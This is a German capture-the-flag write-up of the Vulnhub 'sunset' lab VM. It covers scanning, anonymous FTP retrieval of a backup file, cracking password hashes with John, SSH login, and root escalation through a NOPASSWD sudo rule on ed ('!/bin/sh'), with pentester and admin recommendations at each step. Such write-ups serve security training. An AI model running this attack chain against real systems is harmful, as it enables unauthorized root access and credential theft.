sunset - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
grep
ftp
john
ssh
sudo
ed

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.168	08:00:27:90:51:c2	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Hosts zu entdecken. Er listet IP-Adressen und die zugehörigen MAC-Adressen auf.

Bewertung: Ein Host wurde unter der IP-Adresse 192.168.2.168 gefunden. Die MAC-Adresse 08:00:27:90:51:c2 und die Herstellerkennung "PCS Systemtechnik GmbH" deuten stark auf eine VirtualBox-VM hin. Dies ist unser Ziel für weitere Untersuchungen.

Empfehlung (Pentester): Notieren Sie die IP-Adresse 192.168.2.168 für nachfolgende Scans (z.B. Portscan mit Nmap).
Empfehlung (Admin): Implementieren Sie Netzwerksicherheitsmaßnahmen wie ARP-Spoofing-Erkennung und Netzwerksegmentierung, um die Sichtbarkeit von Hosts und die Effektivität von Scans zu reduzieren.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt:
192.168.2.168	sunset.vln

Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im `vi`-Editor. Der Kommentar zeigt, dass ein Eintrag hinzugefügt wird, der die IP-Adresse 192.168.2.168 dem Hostnamen `sunset.vln` zuordnet.

Bewertung: Dies ermöglicht es, das Zielsystem über den Namen `sunset.vln` statt nur über die IP-Adresse anzusprechen. Das ist praktisch für Tools und spätere Befehle, besonders wenn Webdienste involviert wären (hier nicht der Fall).

Empfehlung (Pentester): Das Definieren von Hostnamen in `/etc/hosts` ist eine gute Praxis, um die Übersichtlichkeit während des Tests zu verbessern.
Empfehlung (Admin): Diese Aktion findet auf dem Angreifersystem statt und hat keine direkten Auswirkungen auf die Sicherheit des Zielsystems.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.168 -p- | grep open
21/tcp open  ftp     pyftpdlib 1.5.5
22/tcp open  ssh     penSSH 7.9p1 Debian 10 (protocol 2.0)

Analyse: Dieser Nmap-Befehl führt einen Scan durch, um offene Ports auf dem Ziel 192.168.2.168 zu finden, und filtert die Ausgabe mit `grep`, um nur die Zeilen mit offenen Ports anzuzeigen. * `-sS`: TCP SYN Scan. * `-sC`: Standard NSE-Skripte. * `-sV`: Versionserkennung. * `-T5`: Schnelles Timing. * `-A`: Aggressiver Scan (OS-Erkennung, Version, Skripte, Traceroute). * `-Pn`: Überspringt die Host-Discovery (Ping-Scan) und nimmt an, dass der Host online ist (nützlich, wenn Pings blockiert werden). * `-p-`: Scannt alle TCP-Ports (1-65535). * `| grep open`: Filtert die Ausgabe.

Bewertung: Die gefilterte Ausgabe zeigt zwei offene Ports: Port 21 (FTP) mit dem Dienst `pyftpdlib 1.5.5` und Port 22 (SSH) mit `OpenSSH 7.9p1` auf Debian 10. Dies sind die primären Angriffsvektoren.

Empfehlung (Pentester): Konzentrieren Sie die weiteren Bemühungen auf FTP (Port 21) und SSH (Port 22). Überprüfen Sie insbesondere den FTP-Dienst auf anonymen Zugriff oder bekannte Schwachstellen in `pyftpdlib 1.5.5`. Untersuchen Sie SSH auf schwache Passwörter oder bekannte Schwachstellen in OpenSSH 7.9p1 (obwohl diese Version relativ modern ist).
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, wenn er nicht benötigt wird. Halten Sie FTP- und SSH-Server aktuell und konfigurieren Sie sie sicher (z.B. SSH mit Schlüsselauthentifizierung, Deaktivierung von Root-Login, Verwendung von Fail2Ban).

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.168 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 14:03 CEST
Nmap scan report for sunset.vln (192.168.2.168)
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     pyftpdlib 1.5.5
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.2.168:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root         1062 Jul 29  2019 backup
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
|   2048 71:bd:fa:c5:8c:88:7c:22:14:c4:20:03:32:36:05:d6 (RSA)
|   256 35:92:8e:16:43:0c:39:88:8e:83:0d:e2:2c:a4:65:91 (ECDSA)
|_  256 45:c5:40:14:49:cf:80:3c:41:4f:bb:22:6c:80:1e:fe (ED25519)
MAC Address: 08:00:27:90:51:C2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms sunset.vln (192.168.2.168)

Analyse: Dieser Befehl ist identisch zum vorherigen, jedoch ohne die `| grep open`-Filterung. Er zeigt die vollständige Nmap-Ausgabe für die Ports 21 und 22.

Bewertung: Die vollständige Ausgabe liefert wichtige Zusatzinformationen: * **FTP (Port 21):** Das NSE-Skript `ftp-anon` bestätigt, dass **anonymer FTP-Login erlaubt** ist (`Anonymous FTP login allowed`). Es listet auch eine Datei namens `backup` (Größe 1062 Bytes, gehört `root`) im Hauptverzeichnis des FTP-Servers auf. Dies ist ein kritischer Fund. * **SSH (Port 22):** Zeigt die verschiedenen Host-Schlüssel des SSH-Servers an. Keine weiteren Auffälligkeiten durch Skripte. * **OS Detection:** Schätzt das Betriebssystem auf Linux Kernel 3.2 - 4.9. * **MAC-Adresse:** Bestätigt erneut die VirtualBox-Umgebung.

Empfehlung (Pentester): Loggen Sie sich sofort per FTP anonym ein und laden Sie die Datei `backup` herunter. Analysieren Sie den Inhalt dieser Datei, da sie wahrscheinlich sensible Informationen wie Passwörter, Hashes oder Konfigurationsdetails enthält.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff *unbedingt*, es sei denn, es gibt einen sehr spezifischen Grund dafür. Wenn anonyme Downloads erforderlich sind, stellen Sie sicher, dass keine sensiblen Dateien im zugänglichen Bereich liegen. Überprüfen Sie regelmäßig die Inhalte von anonym zugänglichen FTP-Verzeichnissen.

Initial Access

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.168
Connected to 192.168.2.168.
220 pyftpdlib 1.5.5 ready.
Name (192.168.2.168:cyber): anonymous
331 Username ok, send password.
Password: # (Eingabe erfolgt unsichtbar, meist 'anonymous' oder leer)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Analyse: Der Befehl `ftp 192.168.2.168` startet den Standard-FTP-Client und verbindet sich zum Ziel. Auf die Aufforderung `Name:` wird `anonymous` eingegeben. Das Passwort wird ebenfalls als `anonymous` oder leer eingegeben (die Eingabe ist typischerweise unsichtbar).

Bewertung: Der Login ist erfolgreich (`230 Login successful`), was den Nmap-Fund des erlaubten anonymen Zugriffs bestätigt. Der Pentester ist nun mit dem FTP-Server verbunden und kann Befehle ausführen.

Empfehlung (Pentester): Nutzen Sie die FTP-Sitzung, um die Datei `backup` herunterzuladen (`get backup`). Erkunden Sie die Verzeichnisstruktur (obwohl Nmap bereits andeutete, dass sich die Datei im Root-Verzeichnis befindet).
Empfehlung (Admin): Siehe vorherige Empfehlung: Anonymen FTP-Zugriff deaktivieren.

┌──(root㉿Cybermaschine)-[~] └─# # (Erneuter FTP-Login - hier zur Interaktion)
┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.168
Connected to 192.168.2.168.
220 pyftpdlib 1.5.5 ready.
Name (192.168.2.168:cyber): anonymous
331 Username ok, send password.
Password: # (Eingabe: anonymous oder leer)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering extended passive mode (|||53085|).
125 Data connection already open. Transfer starting.
-rw-r--r--   1 root     root         1062 Jul 29  2019 backup
226 Transfer complete.
ftp> get backup
local: backup remote: backup
229 Entering extended passive mode (|||55591|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************************************************|  1062        2.31 MiB/s    00:00 ETA
226 Transfer complete.
1062 bytes received in 00:00 (1.89 MiB/s)
ftp> cd /home
550 No such file or directory.
ftp> cd ~
550 No such file or directory.
ftp> ls
229 Entering extended passive mode (|||44071|).
125 Data connection already open. Transfer starting.
-rw-r--r--   1 root     root         1062 Jul 29  2019 backup
226 Transfer complete.
ftp> pwd
Remote directory: /

Analyse: In dieser interaktiven FTP-Sitzung werden mehrere Befehle ausgeführt: * `ls -la`: Listet den Inhalt des aktuellen Verzeichnisses (Root `/`) detailliert auf und zeigt die Datei `backup`. * `get backup`: Lädt die Datei `backup` vom FTP-Server auf die lokale Maschine herunter. * `cd /home` / `cd ~`: Versuche, in andere Verzeichnisse zu wechseln, schlagen fehl (`550 No such file or directory`), was darauf hindeutet, dass der anonyme Benutzer auf das Root-Verzeichnis beschränkt ist (chroot jail oder Berechtigungsproblem). * `ls`: Einfache Listung, bestätigt erneut nur die `backup`-Datei. * `pwd`: Bestätigt, dass das aktuelle Verzeichnis `/` ist.

Bewertung: Die Datei `backup` wurde erfolgreich heruntergeladen. Die fehlgeschlagenen `cd`-Versuche zeigen, dass der Zugriff stark eingeschränkt ist, aber das Ziel (Download der Datei) wurde erreicht. Der Inhalt der lokalen `backup`-Datei ist nun der Schlüssel für den nächsten Schritt.

Empfehlung (Pentester): Beenden Sie die FTP-Sitzung (`quit` oder `bye`). Untersuchen Sie die heruntergeladene `backup`-Datei mit Befehlen wie `file backup`, `cat backup`, `strings backup`, um ihren Typ und Inhalt zu bestimmen. Suchen Sie nach Passwörtern, Hashes oder anderen sensiblen Informationen.
Empfehlung (Admin): Konfigurieren Sie FTP-Server sicher, auch für nicht-anonyme Benutzer. Verwenden Sie Chroot-Umgebungen, um Benutzer auf ihre Home-Verzeichnisse zu beschränken. Stellen Sie sicher, dass keine sensiblen Daten in für FTP zugänglichen Bereichen liegen.

Die Analyse der heruntergeladenen `backup`-Datei (nicht im Detail im Log gezeigt) hat vermutlich einen oder mehrere Passwort-Hashes ergeben. Im nächsten Schritt werden diese Hashes mit John the Ripper geknackt.

┌──(root㉿Cybermaschine)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

cheer14          (?)

1g 0:00:00:00 DONE (2023-10-24 14:09) 1.724g/s 24717p/s 24717c/s 24717C/s optimus..concha
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Analyse: Der Befehl `john --wordlist=/usr/share/wordlists/rockyou.txt hash` verwendet das Passwort-Cracking-Tool "John the Ripper". * `--wordlist=...rockyou.txt`: Gibt an, dass die bekannte Wortliste `rockyou.txt` verwendet werden soll, um Passwörter zu erraten. * `hash`: Ist der Platzhalter für die Datei, die den/die zu knackenden Passwort-Hash(es) enthält (vermutlich wurde der Hash aus der `backup`-Datei extrahiert und in einer Datei namens `hash` gespeichert).

Bewertung: John erkennt den Hash-Typ automatisch als `sha512crypt` (ein starker Linux-Passwort-Hash). Es findet erfolgreich ein Passwort: `cheer14`. Es ist jedoch noch unklar, zu welchem Benutzerkonto dieser Hash gehört.

Empfehlung (Pentester): Notieren Sie das gefundene Passwort `cheer14`. Wenn die `backup`-Datei mehrere Hashes enthielt oder der Benutzerkontext unklar war, versuchen Sie das Passwort für verschiedene potenzielle Benutzernamen (z.B. `root`, `sunset` falls bekannt) via SSH oder andere Dienste. Führen Sie John erneut aus, falls weitere Hashes vorhanden sind, oder versuchen Sie andere Cracking-Modi (z.B. Brute-Force), falls der Wordlist-Angriff nicht alle Hashes knackt.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter. Speichern Sie keine Passwort-Hashes oder Klartext-Passwörter in Backup-Dateien oder unsicheren Orten. Konfigurieren Sie Systeme so, dass starke Hashing-Algorithmen mit hohem Iterationsfaktor (Cost) verwendet werden, um das Knacken zu erschweren.

┌──(root㉿Cybermaschine)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA224"
Use the "--format=HMAC-SHA224" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

sky              (?)

1g 0:00:00:06 DONE (2023-10-24 14:10) 0.1589g/s 26698p/s 26698c/s 26698C/s viper23..presea
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Analyse: Der John-Befehl wird erneut ausgeführt, vermutlich auf denselben oder einen anderen Hash aus der `backup`-Datei (der Text ist hier nicht ganz eindeutig, aber es wird ein anderes Passwort gefunden). Die Warnung bezüglich HMAC-SHA224 ist meist irrelevant, da John den `sha512crypt` korrekt priorisiert.

Bewertung: John findet ein weiteres Passwort: `sky`. Da im nächsten Schritt ein SSH-Login als Benutzer `sunset` erfolgt, ist es sehr wahrscheinlich, dass `sky` das Passwort für den Benutzer `sunset` ist.

Empfehlung (Pentester): Versuchen Sie, sich mit dem Benutzernamen `sunset` (oder einem anderen aus der `backup`-Datei oder Standard-Enumeration bekannten Namen) und dem Passwort `sky` per SSH auf dem Zielsystem (192.168.2.168) einzuloggen.
Empfehlung (Admin): Dieselben Empfehlungen wie beim vorherigen John-Aufruf gelten: Starke Passwörter verwenden, Hashes sicher speichern, starke Hashing-Algorithmen nutzen.

┌──(root㉿Cybermaschine)-[~] └─# ssh sunset@sunset.vln
The authenticity of host 'sunset.vln (192.168.2.168)' can't be established.
ED25519 key fingerprint is SHA256:eJPU2yXc6mt/iNY1C1rQJ8kyxsVxaIPzk0JqovAy0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'sunset.vln' (ED25519) to the list of known hosts.
sunset@sunset.vln's password: # (Passwort 'sky' wird eingegeben)
Linux sunset 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 28 20:52:38 2019 from 192.168.1.182
sunset@sunset$

Analyse: Der Befehl `ssh sunset@sunset.vln` versucht, eine SSH-Verbindung zum Zielsystem `sunset.vln` als Benutzer `sunset` aufzubauen. * Die Meldung "The authenticity of host..." erscheint beim ersten Verbindungsaufbau und ist normal. Mit `yes` wird der Host-Schlüssel akzeptiert und gespeichert. * An der Passwortabfrage wird das zuvor geknackte Passwort `sky` eingegeben. * Nach erfolgreicher Authentifizierung wird das Login-Banner des Debian-Systems angezeigt.

Bewertung: Der SSH-Login war erfolgreich! Der Pentester hat nun interaktiven Shell-Zugriff auf das Zielsystem als Benutzer `sunset`. Der Initial Access ist somit vollständig gelungen. Der Weg führte über anonymen FTP-Zugriff, das Finden einer Backup-Datei mit Passwort-Hashes und das Knacken dieser Hashes.

Empfehlung (Pentester): Beginnen Sie sofort mit der Enumeration für die Privilegieneskalation. Überprüfen Sie die Rechte des Benutzers `sunset`, insbesondere mit `sudo -l`. Suchen Sie nach weiteren Schwachstellen, Fehlkonfigurationen, interessanten Dateien im Home-Verzeichnis oder laufenden Prozessen.
Empfehlung (Admin): Erlauben Sie keine schwachen Passwörter. Implementieren Sie Mechanismen zur Erkennung von Brute-Force-Angriffen auf SSH (z.B. Fail2Ban). Verwenden Sie nach Möglichkeit SSH-Schlüsselauthentifizierung anstelle von Passwortauthentifizierung. Überwachen Sie SSH-Logins auf verdächtige Aktivitäten.

Privilege Escalation

Nach dem erfolgreichen Login als Benutzer `sunset` wird nach Wegen gesucht, um Root-Rechte zu erlangen.

Proof of Concept (Sudo Exploit)

Der erste Schritt zur Privilegieneskalation ist oft die Überprüfung der `sudo`-Berechtigungen.

sunset@sunset$ sudo -l
Matching Defaults entries for sunset on sunset:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sunset may run the following commands on sunset:
    (root) NOPASSWD: /usr/bin/ed

Analyse: Der Befehl `sudo -l` listet die Befehle auf, die der aktuelle Benutzer (`sunset`) mit `sudo` (also mit erhöhten Rechten, hier als `root`) ausführen darf. Die Ausgabe der `/etc/sudoers`-Datei wird für den Benutzer `sunset` interpretiert.

Bewertung: Dies ist ein kritischer Fund für die Privilegieneskalation! Der Benutzer `sunset` darf den Befehl `/usr/bin/ed` als `root` ausführen, und das **ohne Passwortabfrage** (`NOPASSWD`). `ed` ist ein einfacher Zeileneditor, der jedoch oft die Möglichkeit bietet, Shell-Befehle auszuführen.

Empfehlung (Pentester): Nutzen Sie diese `sudo`-Regel sofort aus. Recherchieren Sie (z.B. auf GTFOBins), wie man mit `ed` eine Shell erhält. Der typische Weg ist, `sudo /usr/bin/ed` auszuführen und dann innerhalb von `ed` den Befehl `!/bin/sh` einzugeben.
Empfehlung (Admin): Gewähren Sie `sudo`-Rechte nach dem Prinzip des Least Privilege. Vermeiden Sie die Vergabe von `NOPASSWD` für Befehle, die eine Shell-Flucht ermöglichen (wie Editoren, Pager, Interpreter). Wenn ein Benutzer einen Editor mit Root-Rechten benötigt, prüfen Sie sicherere Alternativen oder stellen Sie sicher, dass keine Shell-Escape-Möglichkeit besteht (was bei `ed` schwierig ist).

sunset@sunset$ sudo -u root /usr/bin/ed
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd ~
# ls
flag.txt  ftp  server.sh
# cat flag.txt
25d7ce0ee3cbf71efbac61f85d0c14fe

Analyse: 1. `sudo -u root /usr/bin/ed`: Führt den Editor `ed` mit Root-Rechten aus, wie durch `sudo -l` erlaubt. 2. `!/bin/sh`: Dies ist ein Befehl *innerhalb* von `ed`. Das Ausrufezeichen (`!`) erlaubt die Ausführung externer Shell-Befehle. Hier wird eine neue Shell (`/bin/sh`) gestartet. Da `ed` als Root lief, läuft auch diese neue Shell als Root. 3. `id`: Bestätigt, dass die neue Shell tatsächlich mit Root-Rechten (UID 0) läuft. 4. `cd ~`: Wechselt in das Home-Verzeichnis des aktuellen Benutzers (jetzt Root, also `/root`). 5. `ls`: Listet den Inhalt von `/root` auf. Enthält `flag.txt`, ein Verzeichnis `ftp` und ein Skript `server.sh`. 6. `cat flag.txt`: Gibt den Inhalt der Datei `flag.txt` aus.

Bewertung: Die Privilegieneskalation war erfolgreich und trivial dank der unsicheren `sudo`-Regel. Der Zugriff auf das Root-Verzeichnis und das Auslesen der Root-Flag (`flag.txt`) bestätigen die vollständige Kompromittierung des Systems.

Empfehlung (Pentester): Das Ziel ist erreicht. Dokumentieren Sie den Weg zur Root-Eskalation über `sudo ed`. Die Flag wurde gefunden.
Empfehlung (Admin): Entfernen oder korrigieren Sie *dringend* die unsichere `sudo`-Regel für `/usr/bin/ed`. Führen Sie ein Audit aller `sudo`-Regeln durch und entfernen Sie unnötige Berechtigungen sowie `NOPASSWD`-Einträge, insbesondere für Befehle, die Shell-Escapes ermöglichen.

Flags

cat /root/flag.txt
25d7ce0ee3cbf71efbac61f85d0c14fe